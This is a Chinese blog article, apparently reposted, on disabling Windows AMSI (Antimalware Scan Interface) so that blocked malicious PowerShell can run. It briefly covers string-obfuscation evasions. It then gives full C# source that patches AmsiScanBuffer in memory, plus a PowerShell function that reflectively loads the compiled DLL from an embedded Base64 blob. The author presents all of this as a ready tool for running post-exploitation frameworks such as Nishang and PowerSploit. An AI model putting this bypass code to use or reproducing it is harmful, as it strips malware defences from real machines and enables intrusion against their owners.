内容简介:在此前,我曾经介绍过如何从本地管理员用户手动获取SYSTEM Shell。在渗透测试期间,这是一个非常有价值的步骤,但往往会在最后面进行,因为这一步的前提是已经获得了目标主机的访问权限。而我们本文介绍的方法,对于渗透测试的早期会更有用一些,因为AMSI(反恶意软件扫描接口)可能会对获取Shell的过程以及后期漏洞利用(Post-exploitation)阶段造成麻烦。
概述
在此前,我曾经介绍过如何从本地管理员用户手动获取SYSTEM Shell。在渗透测试期间,这是一个非常有价值的步骤,但往往会在最后面进行,因为这一步的前提是已经获得了目标主机的访问权限。
而我们本文介绍的方法,对于渗透测试的早期会更有用一些,因为AMSI(反恶意软件扫描接口)可能会对获取 Shell 的过程以及后期漏洞利用(Post-exploitation)阶段造成麻烦。
关于AMSI
AMSI,即ANTI MALWARE SCAN INTERFACE(反恶意软件扫描接口)。顾名思义,其作用就是扫描、检测并阻止任何有害的程序。
其作用的直观体现如下图所示:
如果大家拥有Windows环境中渗透测试的经验,可能会发现几乎所有公开的脚本都会出现这样的错误,比如Nishang、Empire、PowerSploit和其他比较知名的PowerShell脚本。
而这一错误的产生,就是AMSI防护的结果。
AMSI的工作原理
AMSI使用基于字符串的检测方法,来确定PowerShell代码是否为恶意代码。
示例如下:
其中,amsiutils这个关键词被禁止了。如果在名称中包含这个单词,那么就会被AMSI识别为恶意代码。
如何绕过字符串检测
大家都知道,字符串检测很容易绕过,只要对使用的字符串稍加改动就可以。对其进行编码,或者将其拆分为块后再重新组合,就可以实现绕过。
以下是绕过字符串检测,执行“被禁止”代码的3种方法:
简单地将单词分成两部分,就足以欺骗这种检测方案。我们在混淆过程中,发现了很多这样的情况。但在大多数情况下,这种方法可能会失败。
在某些情况下,通过对被禁用的代码进行Base 64解码,就可以绕过这种方案。
当然,也可以使用XOR来欺骗AMSI,并在运行时将字符串解码到内存中。这是更为有效的方式,因为需要更高级的技术来对其进行检测。
上述所有技术,都是使用“迂回战术”逃避字符串检测,但我们不希望如此。我们希望这些脚本能以原始的状态来执行,而原始的状态就是指AMSI会阻止其运行的状态。
通过内存修补绕过AMSI
这才是真正意义的“绕过”。在严格意义上,我们并没有进行“绕过”,而是直接禁用了它。
在AMSI中,有一些函数是在运行PowerShell代码之前执行的(从PowerShell v3.0开始),因此,为了完全绕过AMSI以执行任意PowerShell恶意软件,我们需要对这些函数进行内存修补(Memory Patch),以实现对AMSI的完全禁用。
我在网上找到的最佳方案是: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux 。这一方案适用于最新版本的Windows。
有关于这种内存修补方法的详细信息,请参考上面的这篇文章,我不会在此过多涉及。在我们的研究中,主要对这种技术进行武器化,并且将其应用于PowerShell脚本中,从而实现对它的实际利用。
我们将使用上述技术,编译一个C# DLL,然后在PowerShell会话中加载并执行此代码,完全禁用AMSI。
using System; using System.Runtime.InteropServices; namespace Bypass { public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size); public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer."); return 1; } IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); if (AmsiScanBufferPtr == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer"); return 1; } UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) { Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!"); return 1; } /* * This is a new technique, and is still working. * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ */ Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); Console.WriteLine("AmsiScanBuffer patch has been applied."); return 0; } } }
现在,我们已经拥有了DLL文件,其使用方法如下图所示:
至此,就能够自由使用被禁止的关键词。从此之后,就不再有AMSI的限制。我们可以自由加载任何PowerShell脚本,无论该脚本是否属于恶意脚本。如果将此类攻击与恶意 工具 相结合,那么就能够100%绕过(禁用)AMSI。
使用PowerShell实现武器化
当然,在渗透测试中,我们必须拥有自动应用此类技术的工具。同样,当我们通过C#使用.NET框架时,可以创建一个反映我们的DLL运行时内存的Posh脚本,而无需再将DLL预先放置在硬盘上。
以下是禁用AMSI所需的PowerShell脚本:
function Bypass-AMSI { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAA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| Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable() }
这段脚本内容将绕过字符串检测机制,因为其中没有使用任何恶意内容。它只是将.NET程序集加载到内存,并执行其代码。在执行后,我们就可以自由地执行真正的PowerShell恶意软件。
运行结果如下:
这种技术非常棒,并且很实用。大家可以使用一些PowerShell的后期漏洞利用脚本,例如Nishang、PowerSploit或其他任何PoSH黑客工具,这些工具之前都会被烦人的AMSI阻止。
我希望这篇文章能对大家有所帮助。当然,这个技术还是要归功于CyberArk网站的作者,我只是展示了如何从攻击者的角度在实际中对其进行利用。
以上所述就是小编给大家介绍的《如何绕过AMSI执行任意恶意PowerShell代码》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
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